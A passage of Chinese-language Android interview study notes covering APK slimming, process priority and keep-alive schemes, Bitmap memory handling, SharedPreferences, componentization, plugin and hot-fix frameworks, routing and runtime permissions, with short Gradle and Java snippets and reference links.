entry,你能夠藉助android-arscblamer來檢查出能夠優化的部分,好比一些空的引用 * 使用微信的資源混淆工具AndResGuard,它將資源的名稱進行了混淆(須要重點配置白名單) * 優化META-INF:除了公鑰CERT.RSA沒有壓縮機會外,其他的兩個文件均可以經過混淆資源名稱的方式進行壓縮 * 優化res * 動態下載資源 * 經過Android Studio的重構工具刪除無用資源 * 打包時剔除無用資源 ```java release { zipAlignEnabled true minifyEnabled true shrinkResources true // 是否去除無效的資源文件 proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.txt' signingConfig signingConfigs.release } ``` * 刪除無用的語言(排除了全部的依賴庫的資源) ```java android { //... defaultConfig { resConfigs "zh" } } ``` * 控制圖片、視頻、音頻資源的大小,推薦使用有損壓縮等其餘格式(ogg、svg、webp等) * 統一應用風格,減小shape文件 * 使用toolbar,減小menu文件 * 經過複用等方式減小layout文件 * ... * 優化dex: * 利用工具(dexcount、statistic、apk-method-count、Lint)分析、精簡沒必要要的方法、空行、依賴庫等 * 經過proguard來刪除無用代碼 * 剔除無用的測試代碼 * 依賴第三方庫的時候,在打包發版中不要將某些沒必要要的庫進行releaseCompile(好比LeakCanary) * 使用更小庫或合併現有庫 * 減小方法數、使用插件化等方案,不用mulitdex #### 3. 參考文章 [App瘦身最佳實踐](https://www.jianshu.com/p/8f14679809b3) [Android中5種app瘦身方式](https://blog.csdn.net/luckyleaf666/article/details/60572736) ### 進程及進程保活、跨進程通訊 #### 1. 查看進程信息 使用ps命令能夠查看進程信息: ```bash adb shell ps|grep <package_name> ``` 返回的結果分別爲: * 進程當前用戶 * 進程ID * 進程的父進程ID * 進程的虛擬內存大小 * 實際駐留」在內存中」的內存大小 * 進程名 #### 2. Android進程優先級 * 前臺進程:Foreground process(用戶正在使用的程序,通常系統是不會殺死前臺進程的,除非用戶強制中止應用或者系統內存不足等極端狀況會殺死。) * 用戶正在交互的Activity(已調用onResume) * 當某個Service綁定正在交互的Activity * 被主動調用爲前臺Service(startForeground()) * 組件正在執行生命週期的回調(onCreate()、onStart()、onDestory()) * BroadcastReceiver正在執行onReceive() * 可見進程:Visible process(用戶正在使用,看獲得,可是摸不着,沒有覆蓋到整個屏幕,只有屏幕的一部分可見進程不包含任何前臺組件,通常系統也是不會殺死可見進程的,除非要在資源吃緊的狀況下,要保持某個或多個前臺進程存活) * Activity不在前臺、但仍對用戶可見(已調用onPause(),沒有調用onStop())) * 綁定到可見(前臺)Activity的Service * 服務進程:Service process(在內存不足以維持全部前臺進程和可見進程同時運行的狀況下,服務進程會被殺死) * 簡單的startService()啓動,與用戶看見的Activity沒有直接關聯。 * 後臺進程:Background process(系統可能隨時終止它們,回收內存) * 在用戶按了"back"或者"home"後,程序自己看不到了,可是其實還在運行的程序。對用戶沒有直接影響,Activity處於onStop()的時候。 * 應用開啓的進程:android:process=":xxx" * 空進程:Empty process(某個進程不包含任何活躍的組件時該進程就會被置爲空進程,徹底沒用,優先級最低,殺了它只有好處沒壞處,第一被回收) * 不含有任何的活動的組件。(Android設計的,處於緩存的目的,爲了第二次啓動更快,採起的一個權衡) #### 3. 進程回收策略(Low memory Killer) Low memory Killer:定時執行,一旦發現內存低於某個內存閾值,Low memory Killer會根據**進程的優先級、進程佔用的內存大小等因素**經過複雜的評分機制,對進程進行打分,而後將分數高的進程斷定爲bad進程,殺死並釋放內存 #### 4. 進程保活方案 * 與手機廠商合做,加入白名單 * 監聽鎖屏廣播,在RemoteService中開啓/關閉一個像素的Activity * 利用Android5.0如下系統同一時間只能殺死一個進程的漏洞(5.0以後同一個Group的進程都會被殺死),開啓雙進程守護 * 利用前臺服務,startForeground(ID, new Notification()),發送空的通知 * 利用系統黏性服務機制拉活 * 利用開機,網絡切換、拍照、拍視頻等系統廣播也能喚醒,不過Android N已經將這三種廣播取消了 * 利用Native進程監聽進程是否存活,不然拉活 * 利用JobScheduler機制代替Native進程實現拉活 * 利用帳號同步機制拉活。用戶強制中止都殺不起建立一個帳號並設置同步器,建立週期同步,系統會自動調用同步器,這樣就能激活APP,侷限是國產機會修改最短同步週期,而且須要聯網才能使用。 #### 5. 跨進程通訊方式 ![跨進程通訊](https://upload-images.jianshu.io/upload_images/2570030-ecbfa6e37b8c4705.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 6. 參考文章 [Android進程保活的通常套路](https://www.jianshu.com/p/1da4541b70ad) [關於進程保活的兩三事——新手升級經驗卡](https://www.jianshu.com/p/c6f4c3a69a2c) [Android裏賬戶同步的實現](https://blog.csdn.net/lyz_zyx/article/details/73571927) ### Bitmap #### 1. Bitmap的理解 Bitmap是Android系統中的圖像處理的最重要類之一。用它能夠獲取圖像文件信息,進行圖像剪切、旋轉、縮放等操做,並能夠指定格式保存圖像文件。 #### 2. Bitmap的內存分配策略 在Androin3.0以前的版本,Bitmap像素數據存放在Native內存中,並且Nativie內存的釋放是不肯定的,容易內存溢出而Crash,不使用的圖片要調用recycle()進行回收。 ![3.0以前](https://upload-images.jianshu.io/upload_images/2570030-ad2a1add2b8f0dc6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 從Androin3.0開始,Bitmap像素數據和Bitmap對象一塊兒存放在虛擬機的堆內存中(從源代碼上看是多了一個byte[] buffer用來存放數據),也就是咱們常說的Java Heap內存。 ![3.0以後](https://upload-images.jianshu.io/upload_images/2570030-66a393b6609a8028.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 從Androin8.0開始,Bitmap像素數據存從新回到Native內存中 ![8.0以後](https://upload-images.jianshu.io/upload_images/2570030-ad2a1add2b8f0dc6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 3. Bitmap的內存佔用計算 Bitmap的內存佔用大小的計算: * 通常狀況下的計算 Bitmap佔用的內存 = width * height * 一個像素所佔的內存 * 在Android中,考慮各類因素狀況下的計算 Bitmap佔用的內存 = width * height * nTargetDensity/inDensity * nTargetDensity/inDensity * 一個像素所佔的內存 Bitmap的內存佔用大小與三個因素有關: * 色彩格式,前面咱們已經提到,若是是ARGB_8888那麼就是一個像素4個字節,若是是RGB_565那就是2個字節 * 原始文件存放的資源目錄(分辨率越小,內存佔用越小) * 目標屏幕的密度(屏幕的密度越小,內存佔用越小) 有關Bitmap的色彩格式: * ARGB_8888的內存消耗是RGB_565的2倍 * ARGB_8888格式比RGB_565多了一個透明通道 * 若是使用RGB_565格式解析ARGB_8888格式的圖片(png),可能會致使圖片變綠 #### 4. Bitmap的回收 * 在Android3.0之前以及Android8.0以後Bitmap的像素數據是存放Native內存中,咱們須要回收Native層和Java層的內存。 * 在Android3.0之後以及Android8.0以前Bitmap的像素數據是存放在Java層的內存中的,咱們只要回收堆內存便可。 * 官方建議咱們3.0之後使用recycle方法進行回收,該方法也能夠不主動調用,由於垃圾回收器會自動收集不可用的Bitmap對象進行回收。 * recycle方法會判斷Bitmap在不可用的狀況下,將發送指令到垃圾回收器,讓其回收native層和Java層的內存,則Bitmap進入dead狀態。 * recycle方法是不可逆的,若是再次調用getPixels()等方法,則獲取不到想要的結果。 #### 5. Bitmap的複用 Android在3.0以後BitmapFactory.Options引入了inBitmap屬性,設置該屬性以後解碼圖片時會嘗試複用一張已經存在的Bitmap,避免了內存的回收以及從新申請的過程。 Bitmap複用的限制: * 聲明可被複用的Bitmap必須設置inMutable爲true * Android4.4(API 19)以前只有格式爲jpg、png,同等寬高(要求苛刻),inSampleSize爲1的Bitmap才能夠複用 * Android4.4(API 19)以前被複用的Bitmap的inPreferredConfig會覆蓋待分配內存的Bitmap設置的inPreferredConfig * Android4.4(API 19)以前待加載Bitmap的Options.inSampleSize必須明確指定爲1 * Android4.4(API 19)以後被複用的Bitmap的內存必須大於須要申請內存的Bitmap的內存 #### 6. Bitmap加載大圖與防止OOM 加載大圖的時候注意點: * 在Android系統中,讀取位圖Bitmap時,分給虛擬機中的圖片的堆棧大小隻有8M,若是超出了,就會出現OutOfMemory異常 * 在加載大圖、長圖等操做當中,推薦對OutOfMemoryError進行捕獲,而且返回一張默認圖片 * 使用採樣率(inSampleSize),若是須要顯示縮列圖,並不須要加載完整的圖片數據,只須要按必定的比例加載便可 * 使用Matrix變形等,好比使用Matrix進行放大,雖然圖像大了,但並無佔用更多的內存 * 推薦使用一些成熟的開源圖片加載庫,它們幫咱們完成了不少工做。好比異步加載、Facebook的Fresco還本身開闢了Native內存用於存儲圖片,以獲得更大的內存空間(兼容性問題) * 使用分塊解碼(BitmapRegionDecoder)、硬解碼等方案 獲取圖片縮略圖的模板代碼以下(主要分爲3個步驟): ```java public static Bitmap thumbnail(String path, int width, int height, boolean autoRotate) { //1. 得到Bitmap的寬高,可是不加載到內存 BitmapFactory.Options options = new BitmapFactory.Options(); options.inJustDecodeBounds = true; BitmapFactory.decodeFile(path, options); int srcWidth = options.outWidth; int srcHeight = options.outHeight; //2. 計算圖片縮放倍數 int inSampleSize = 1; if (srcHeight > height || srcWidth > width) { if (srcWidth > srcHeight) { inSampleSize = Math.round(srcHeight / height); } else { inSampleSize = Math.round(srcWidth / width); } } //3. 真正加載圖片到內存當中 options.inJustDecodeBounds = false; options.inSampleSize = inSampleSize; //ARGB_8888格式的圖片,每像素佔用 4 Byte,而 RGB565則是 2 Byte options.inPreferredConfig = Bitmap.Config.RGB_565; options.inPurgeable = true; options.inInputShareable = true; return BitmapFactory.decodeFile(path, options); } ``` #### 7. LRU緩存機制 LRU緩存機制的核心原理: * LruCache中維護了一個以訪問順序排序的集合LinkedHashMap(雙向循環鏈表) * 新數據插入到鏈表頭部 * 每當緩存命中(即緩存數據被訪問),則將數據移到鏈表頭部 * 當鏈表滿的時候,將鏈表尾部的數據丟棄 ![LruCache緩存機制](https://upload-images.jianshu.io/upload_images/2570030-4f923dd2020ed02f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 8. 圖片的三級緩存 關於Android圖片的多級緩存,其中主要的就是內存緩存和硬盤緩存。它的核心思想是: * 在獲取一張圖片時,首先到內存緩存(LruCache)中去加載 * 若是未加載到,則到硬盤緩存(DiskLruCache)中加載,若是加載到將其返回並添加進內存緩存 * 不然經過網絡加載一張新的圖片,並將新加載的圖片添加進入內存緩存和硬盤緩存 ![圖片三級緩存](https://upload-images.jianshu.io/upload_images/2570030-a4d456f3c5e855ab.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 9. 參考文章 [Bitmap詳解與Bitmap的內存優化](https://www.jianshu.com/p/8206dd8b6d8b) [Android性能調優(5)—Bitmap內存模型](https://www.jianshu.com/p/af1d451f9c4f) [Android面試一天一題(Day 22: 圖片究竟是什麼)](https://www.jianshu.com/p/3c597baa39e5) [Android使用BitmapRegionDecoder加載超大圖片方案](https://blog.csdn.net/jjmm2009/article/details/49360751) [Android性能調優(6)—Bitmap優化](https://www.jianshu.com/p/7b8034284956) [完全解析Android緩存機制——LruCache](https://www.jianshu.com/p/b49a111147ee) [淺談圖片加載的三級緩存](https://www.jianshu.com/p/eb6bc555b60b) ### 數據存儲方式與數據緩存 #### 1. Android中5大數據存儲方式 * 文件:存儲一些簡單的文本數據或者二進制數據,包括內存、外部存儲。 * SharedPreferences(本質上屬於文件存儲):適用於存儲一些鍵值對,通常用來存儲配置信息。 * SQLite數據庫:適用於存儲一些複雜的關係型數據。 * 網絡:存儲比較重要的數據,好比帳號密碼等。 * ContentProvider:訪問(增刪改查)其餘應用程序中私有數據。 #### 2. 有關數據安全問題 * 避免使用靜態變量保存核心、重要的數據。由於靜態變量在進程被殺死的時候,會從新初始化 * 官方推薦使用五大數據存儲方式 #### 3. 數據緩存 ##### 數據緩存 * 推薦使用LRU策略緩存 * 內存緩存:存儲在集合當中,重要數據不推薦使用靜態變量存儲 * 磁盤緩存:根據數據類型、應用場合選擇Android中5大數據存儲方式實現緩存 * 使用一些實現了內存緩存、磁盤緩存、緩存時間等強大功能的第三方開源的緩存庫:ACache、RxCache等 ##### 緩存統計顯示與緩存清理 * 緩存統計與顯示:統計/data/你的應用包名/cache/目錄的大小 * 緩存清理:刪除/data/你的應用包名/cache/目錄 #### 4. 參考文章 [安卓中五種數據存儲方式](https://blog.csdn.net/zsr0526/article/details/53166659) [【Android開源項目分析】android輕量級開源緩存框架——ASimpleCache(ACache)源碼分析](https://blog.csdn.net/zhoubin1992/article/details/46379055) [【從 0 開始開發一款直播 APP】6 緩存 ACache 源碼解析](https://www.jianshu.com/p/f8c97e9b526c) [Android記錄20-獲取緩存大小和清除緩存功能](https://blog.csdn.net/wwj_748/article/details/42737607) ### SharedPreferences #### 1. SharedPreferences基本概念以及優缺點 * SharedPreferences用來保存基於XML文件存儲的key-value鍵值對數據,一般用來存儲一些簡單的配置信息。數據存儲在/data/data/<package name>/shared_prefs目錄下。 * 只能存儲少許boolean、int、float、long、String五種簡單的數據類型,操做簡單,可是沒法徹底替代其餘數據存儲方式。 * 沒法進行條件查詢等複雜操做,對於數據的處理只能是簡單的處理。 #### 2. SharedPreferences的實現原理 SharedPreferences是個單例,具體實如今SharedPrefencesImpl。任意Context拿到的都是同一個實例。 SharedPreferences在實例化的時候會把SharedPreferences對應的xml文件內容經過pull解析所有讀取到內存當中(mMap)。 關於讀操做:對於非多進程兼容的SharedPreferences的讀操做是從內存讀取的,不涉及IO操做。寫入的時候因爲內存已經保存了完整的xml數據,而後新寫入的數據也會同步更新到內存,因此不管是用commit仍是apply都不會影響當即讀取。 關於寫操做:除非須要關心xml是否寫入文件成功,不然你應該在全部調用commit的地方改用apply。 #### 3. 同步與異步提交 ##### commit方法的特色 * 存儲的過程是原子操做 * commit方法有返回值,設置成功爲ture,不然爲false * 同時對一個SharedPreferences設置值最後一次的設置會直接覆蓋前次值 * 若是不關心設置成功與否,而且是在主線程設置值,建議用apply方法 ##### apply方法的特色 * 存儲的過程也是原子操做 * apply沒有返回值,存儲是否成功無從知道 * apply寫入過程分兩步,第一步先同步寫入內存,第二部在異步寫入物理磁盤 * apply寫入的過程會阻塞同一個SharedPreferences對象的其餘寫入操做 ##### 總結 apply比commit效率高,commit直接是向物理介質寫入內容,而apply是先同步將內容提交到內存,而後在異步的向物理介質寫入內容。這樣作顯然提升了效率。 #### 4. SharedPreferences不能實現跨進程同步問題 ##### 現象 * 數據安全問題:數據讀寫不能實時更新而形成數據寫入丟失等問題,每一個進程都會維護一個SharedPreferences的內存副本,副本之間互不干擾 * getSharedPreferences時候的空指針問題 ##### 解決方案 * 經過查看 API 文檔發現,在API Level > 11即Android 3.0能夠經過Context.MODE_MULTI_PROCESS屬性來實現多進程間的數據共享 * 可是在API 23時該屬性被廢棄。官方文檔中明確寫明SharedPreferences不適用於多進程間共享數據,推薦使用ContentProvider等方式 #### 5. SharedPreferences存儲的數據不能過大 * SharedPreferences存儲的基本的配置型數據,不能存儲大量數據 * SharedPreferences的讀寫操做可能會阻塞主線程,引發界面卡頓甚至ANR * SharedPreferences的Key-Value的mMap是一直存放在內存當中的,這樣會帶來極大的內存消耗,甚至產生泄漏、OOM * SharedPreferences對Key-Value頻繁讀寫會產生大量的臨時對象,會形成內存抖動,頻繁GC會形成界面卡頓等問題 #### 6. 參考文章 [Android面試一天一題(14 Day:SharedPreferences)](https://www.jianshu.com/p/4dd53e1be5ba) [SharedPreferences多進程共享數據爬坑之旅](https://www.jianshu.com/p/e8913d42181b) [深刻理解Android SharedPreferences的commit與apply](https://www.jianshu.com/p/3b2ac6201b33) [SharedPreferences commit跟apply的區別](https://www.jianshu.com/p/790510b29efe) ### 組件化 #### 1. 組件化的基本概念 組件化開發就是將一個app分紅多個模塊,每一個模塊都是一個組件(Module),開發的過程當中咱們可讓這些組件相互依賴或者單獨調試部分組件等,可是最終發佈的時候是將這些組件合併統一成一個apk,這就是組件化開發。 ![組件化](https://upload-images.jianshu.io/upload_images/2570030-9c936b1ed794afca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 2. 組件化的特色 * 公共資源、業務、模塊混在一塊兒耦合度過高,組件化能夠實現模塊之間的解耦、單獨測試驗證,又實現了模塊共享資源和工具類 * 組件化能夠提升開發效率:每一個模塊能夠獨立開發編譯運行 * 利用組件化的思想對開源框架進行一次封裝,除了防止代碼入侵之外,同時也簡化了使用,實現了項目的需求 #### 3. 組件化的實現 組件化只是一種項目架構的思想,並無具體的實現方案,須要根據公司的業務、項目性質等進行具體實現。通常的套路以下: ![組件化模型](https://upload-images.jianshu.io/upload_images/2570030-d1b08f88dd5e90d1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![組件化的一些概念](https://upload-images.jianshu.io/upload_images/2570030-59acd30beb3ea072.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 組件化中,最好提供一個統一路由方案實現模塊之間的分發和跳轉。 ![路由](https://upload-images.jianshu.io/upload_images/2570030-fde60e1238ce6bbc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 4. 參考文章 [Android組件化和插件化開發](https://www.cnblogs.com/android-blogs/p/5703355.html) [Android組件化方案](https://blog.csdn.net/guiying712/article/details/55213884) ### 插件化 #### 1. 插件化的基本概念 插件化開發和組件化開發略有不用,插件化開發時將整個app拆分紅不少模塊,這些模塊包括一個宿主和多個插件,**與組件化最大的不一樣是:插件化中每一個模塊都是一個單獨的apk(組件化的每一個模塊是個lib)**,最終打包的時候將宿主apk和插件apk分開或者聯合打包。 ![插件化](https://upload-images.jianshu.io/upload_images/2570030-b5ca3eb8eabf4cd1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 2. 插件化的特色 * 解決應用愈來愈大所帶來的技術限制,好比65535方法數量限制 * 應用愈來愈大的時候多人合做開發的問題:插件化能夠實現宿主和插件分開編譯、並行開發,提升開發效率而且分工明確 * 插件模塊的動態按需下載,減小宿主APK的體積 * 插件模塊的動態更新能夠解決線上BUG或者上架活動,達到熱更新、熱修復的目的 * 帶有插件化、熱更新的APK不能在Google Play上線,也就是沒有海外市場 #### 3. 插件化的核心原理 * 經過類加載機制(DexClassLoader)加載插件APK * 經過代理機制(主要是動態代理)實現Activity等組件的生命週期 * 經過Java的反射機制結合面向接口(抽象)編程、面向切面程,實例化而且調用插件中的代碼 * 訪問插件中的資源:經過反射生成AssetManager對象而且經過反射調用addAssetPath方法加載插件中的資源(資源、主題等) * 利用Hook機制對ActivityManagerService進行Hook,實現啓動一個沒有在清單文件中註冊的插件Activity * 不一樣框架的具體實現和原理都不同…… #### 4. 常見插件化框架(按照時間前後排列) [AndroidDynamicLoader](https://github.com/mmin18/AndroidDynamicLoader):Android 動態加載框架,他不是用代理 Activity 的方式實現而是用 Fragment 以及 Schema 的方式實現 [PluginMgr](https://github.com/houkx/android-pluginmgr):不須要插件規範的apk動態加載框架。 [Dynamic-load-apk](https://github.com/singwhatiwanna/dynamic-load-apk):Android 使用動態加載框架DL進行插件化開發 [Direct-Load-apk](https://github.com/mmyydd/Direct-Load-apk):Direct - load - apk 可以加載插件的所有 資源. 支持 插件間 Activity跳轉. 不像 "dynamic load - apk" 這個項目, "Direct - load - apk" 不須要對插件有任何約束,也不須要在插件中引入jar和繼承自定義Activity,能夠直接使用this指針。 [Android-Plugin-Framework](https://github.com/limpoxe/Android-Plugin-Framework):此項目是Android插件開發框架完整源碼及示例。用來經過動態加載的方式在宿主程序中運行插件APK [ACDD](https://github.com/bunnyblue/ACDD):非代理Android動態部署框架 [DynamicAPK](https://github.com/CtripMobile/DynamicAPK):實現Android App多apk插件化和動態加載,支持資源分包和熱修復.攜程App的插件化和動態加載框架 **比較新的,有表明性的有下面4個:** [DroidPlugin](https://github.com/Qihoo360/DroidPlugin):是360手機助手在Android系統上實現了一種新的插件機制 [Small](https://github.com/wequick/Small):世界那麼大,組件那麼小。Small,作最輕巧的跨平臺插件化框架 [VirtualAPK](https://github.com/didi/VirtualAPK):VirtualAPK是滴滴出行自研的一款優秀的插件化框架 [RePlugin](https://github.com/Qihoo360/RePlugin):RePlugin是一套完整的、穩定的、適合全面使用的,佔坑類插件化方案,由360手機衛士的RePlugin Team研發,也是業內首個提出」全面插件化「(全面特性、全面兼容、全面使用)的方案 #### 5. 參考文章 [Android插件化技術入門](https://www.jianshu.com/p/b6d0586aab9f) [插件化開發小結](https://www.jianshu.com/p/71bd20eb5ec4) [Android博客週刊專題之 插件化開發](http://www.androidblog.cn/index.php/Index/detail/id/16#) [Android開源插件化框架彙總](https://blog.csdn.net/hp910315/article/details/78305357) ### 熱修復 #### 1. 熱修復主要解決的問題 * 版本發佈以後發現嚴重BUG,須要緊急動態修復 * 小功能即時上線、下線,好比節日活動 #### 2. 傳統開發流程與熱修復開發流程對比 ![傳統開發流程](https://upload-images.jianshu.io/upload_images/2570030-40ca183d39bc1206.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 從流程來看,傳統的開發流程存在不少弊端: * 從新發布版本代價太大 * 用戶下載安裝成本過高 * BUG修復不及時,用戶體驗太差 ![熱修復開發流程](https://upload-images.jianshu.io/upload_images/2570030-76c6b06852c19846.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 而熱修復的開發流程顯得更加靈活,優點不少: * 無需從新發版,實時高效熱修復 * 用戶無感知修復(甚至無需重啓應用),無需下載新的應用,代價小 * 修復成功率高,把損失降到最低 #### 3. 熱修復補丁修復詳細工做流程 1. 線上檢查到Crash 2. 拉出BugFix分支修復Crash問題 3. jenkins構建和補丁生成 4. app經過推送或主動拉取補丁文件 5. 將BugFix代碼合到master上 #### 4. 熱修復的兩大核心原理 * ClassLoader加載方案 * Native層替換方案(Hook Native) #### 5. 熱修復主流框架及實現原理 ##### QQ空間的超級補丁技術 超級補丁技術基於DEX分包方案,使用了多DEX加載的原理,大體的過程就是:把BUG方法修復之後,放到一個單獨的DEX裏,插入到dexElements數組的**最前面**,讓虛擬機去**優先**加載修復完後的方法。 當patch.dex中包含Test.class時就會優先加載,在後續的DEX中遇到Test.class的話就會直接返回而不去加載,這樣就達到了修復的目的。 ![QQ空間超級補丁技術原理](https://upload-images.jianshu.io/upload_images/2570030-4d9af8d7893c2f29.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ##### 微信的Tinker 微信針對QQ空間超級補丁技術的不足提出了一個提供DEX差量包,總體替換DEX的方案。主要的原理是與QQ空間超級補丁技術基本相同,區別在於再也不將patch.dex增長到elements數組中,**而是差量的方式給出patch.dex,而後將patch.dex與應用的classes.dex合併**,而後總體替換掉舊的DEX文件,以達到修復的目的。 ![Thinker原理](https://upload-images.jianshu.io/upload_images/2570030-1286a5fead390ec7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ##### 阿里的AndFix AndFix不一樣於QQ空間超級補丁技術和微信Tinker經過增長或替換整個DEX的方案,提供了一種運行時經過Hook Native方法,在Native修改Filed指針的方式,實現Java方法的替換,達到即時生效無需重啓,對應用無性能消耗的目的。 ![AndFix原理](https://upload-images.jianshu.io/upload_images/2570030-ab157bc543692e01.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ##### 美團的Robust 主要原理:在每一個方法前加入一段代碼,若是patch.jar存在,則加載patch.jar中的代碼片斷,不然執行本來的代碼片斷。 ![Robust原理](https://upload-images.jianshu.io/upload_images/2570030-7f62a2c451af8d57.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ##### 餓了麼的Amigo Amigo 原理與 Tinker 基本相同,可是在 Tinker 的基礎上,進一步實現了 so 文件、資源文件、Activity、BroadcastReceiver 的修復,幾乎能夠號稱全面修復,不愧 Amigo(朋友)這個稱號,能在危急時刻送來全面的幫助。 #### 6. 三大主流框架對比 ![框架對比](https://upload-images.jianshu.io/upload_images/2570030-a13e268763506679.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 7. 參考文章 [Android熱修復技術選型——三大流派解析](http://www.cnblogs.com/alibaichuan/p/5863616.html) [Android 插件化和熱修復知識梳理](https://www.jianshu.com/p/704cac3eb13d) ### 路由 #### 1. 什麼是路由? 根據路由表將頁面請求分發到指定頁面。 #### 2. 爲何須要路由?(路由的應用場景) * 解耦:APP中使用到組件化、插件化等技術的時候,須要解耦模塊、頁面之間的依賴關係 * 跳轉一致化:原生、H5頁面之間的互相跳轉規範統一 * 頁面動態配置:APP收到消息推送,點擊通知/用戶點擊活動Banner廣告等須要跳轉到某個頁面,該頁面能夠動態配置 * 頁面跳轉的攔截:好比不合法的頁面的屏蔽、登陸驗證攔截、頁面不存在須要攔截而且跳轉到下載頁面等 #### 3. 路由的優點(與不使用路由對比) * 路由實現了頁面之間解耦:顯式Intent在項目龐大之後,類依賴耦合太大,不適合組件化拆分 * 路由簡化了頁面之間的協做:隱式Intent協做困難,調用時候不知道調什麼參數 * 路由的攔截功能提升了頁面訪問的安全性:每一個註冊了Scheme的Activity均可以直接打開,有安全風險 * 路由表的動態生成簡化了頁面的管理:解決了傳統的AndroidMainfest集中式管理,這樣比較臃腫的問題 * 路由的動態降級功能:不使用路由,若是頁面出錯,沒法動態降級 * 路由的動態攔截功能:不使用路由,每次打開新的頁面都須要作登陸驗證 * 路由實現了頁面統一跳轉:H五、Android、iOS地址不同,不利於統一相互跳轉協議、不利於服務器端(例如推送、活動Banner等)對APP頁面進行動態配置 #### 4. 路由的常見功能及其實現思路和核心原理 * 路由註冊 * AndroidManifest裏面的Activity聲明scheme碼是不安全的,全部App均可以打開這個頁面,這裏就產生有三種方式去註冊: * 註解產生路由表,經過DispatchActivity轉發Intent * AndroidManifest註冊,將其export=false,再經過DispatchActivity轉發Intent,天貓就是這麼作的,比上面的方法的好處是路由查找都是系統調用,省掉了維護路由表的過程,可是AndroidManifest配置仍是比較不方便的 * 註解自動修改AndroidManifest,這種方式能夠避免路由表彙總的問題,方案是這樣的,用自定義Lint掃描出註解相關的Activity,而後在processManifestTask後面修改AndroidManifest,該方案不穩定 * 路由表生成 * 用APT(Annotation Processing Tool)生成URL和Activity的對應關係、而且(結合路由分組策略)進行路由彙總 * 路由分發 * 如今全部路由方案分發都是用Activity作分發的 * 結果返回 * 捕獲onActivityResult * 動態攔截 * 攔截器是重中之重,有了攔截器能夠作好多事情。ARouter是用線程等待實現的(等全部註冊的攔截器處理完成以後纔會進行下一步分發跳轉) * 參數獲取 * 大部分路由庫都是手動獲取參數的,這樣還要傳入參數key比較麻煩,有三種作法: * Hook掉Instrumentation的newActivity方法,注入參數 * 註冊ActivityLifecycleCallbacks方法,注入參數 * APT生成注入代碼,onCreate的時候bind一下 #### 5. 常見的路由框架對比 ![常見路由框架對比](https://upload-images.jianshu.io/upload_images/2570030-9ed91edb71aefecc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 6. 參考文章 [須要給activity跳轉增長路由麼?](https://www.zhihu.com/question/40750153) [Android 組件化 —— 路由設計最佳實踐](https://www.jianshu.com/p/8a3eeeaf01e8) [Android 路由框架ARouter最佳實踐](https://blog.csdn.net/zhaoyanjun6/article/details/76165252) [開源最佳實踐:Android平臺頁面路由框架ARouter](https://yq.aliyun.com/articles/71687?spm=5176.100240.searchblog.7.8os9Go) [一款多是最容易使用的對頁面、服務的路由框架。使用APT實現](https://www.jianshu.com/p/9acd0dfccdc1) [RouterKit](https://github.com/gybin02/RouterKit) ### Android權限機制和動態權限適配 #### 1. 什麼是Android權限機制 * Android6.0之前:開發者在AndroidManifest文件中聲明須要的權限,APP安裝時,系統提示用戶APP將獲取的權限,須要用戶贊成受權才能繼續安裝,今後APP便永久的得到了受權。 * Android6.0以後:引入動態權限的機制。在APP運行時,用戶能夠根據自身的須要,決定是否授予APP**危險權限**,同時,用戶也能夠很方便回收授予的權限。動態權限管理的機制,對於用戶的隱私保護是更加適用的。 #### 2. 危險權限(組)與通常權限 * 危險權限(組)Dangerous Permissions:聯繫人、電話、相機、定位、存儲、錄音、短信、日曆、傳感器 * 通常權限Normal Permissions:除危險權限以外的權限,好比網絡、WIFI、藍牙、鬧鐘、壁紙、NFC等 注意: * 對於危險權限的分組,若是申請某個危險的權限,假設app早已被用戶受權了同一組的某個危險權限,那麼系統會當即受權,而不須要用戶去點擊受權。 * 不要對權限組過多的依賴,儘量對每一個危險權限都進行正常流程的申請,由於在後期的Android版本中這個權限組可能會產生變化。 #### 3. 如何適配Android6.0動態權限及其兼容性問題 ##### 動態權限適配 * APP要適配Android6.0很是簡單,只須要在清單文件中配聲明權限,而後將targetSdkVersion升級到23及以上,同時加入權限檢查、申請、處理申請結果等代碼邏輯便可。 * 相關重要API: * 檢查權限:ContextCompat.checkSelfPermission() * 申請受權:ActivityCompat.requestPermissions() * 處理回調:onRequestPermissionsResult() * 權限適配的代碼封裝,同時也能夠使用一些封裝好的開源庫:MPermission、RxPermission等 ##### 動態權限的運行兼容性問題 * 首先,舊版本APP(targetSdkVersion低於23),由於沒有適配權限的申請相關邏輯,在Android6.0以上機型運行的時候,仍然採用安裝時受權的方案。 * 適配了Android6.0的APP,在低版本Android系統上運行的時候,仍然採用安裝時受權的方案。 * 開發者須要注意的是,權限申請的代碼邏輯只應該在Android6.0及以上的機型被執行。(所以推薦使用**XXXCompat的類**,這種類已經對Android版本進行了判斷) #### 4. 參考文章 [Android 權限機制與適配經驗(QQ音樂)](https://juejin.im/entry/58b2e490ac502e0069d9ae62) [Android 6.0 運行時權限處理徹底解析(鴻洋)](https://blog.csdn.net/lmj623565791/article/details/50709663) ### View的繪製以及事件傳遞機制 http://hencoder.com/ ### 動畫機制 ### 屏幕適配 [Android新特性介紹,ConstraintLayout徹底解析](https://blog.csdn.net/guolin_blog/article/details/53122387) ### 設計模式與架構 ### Kotlin ### 開源框架源碼分析 ### Java高級基礎 大綱 [Android工程師之Android面試大綱](https://blog.csdn.net/bobo89455100/article/category/6604866/2?orderby=UpdateTime) 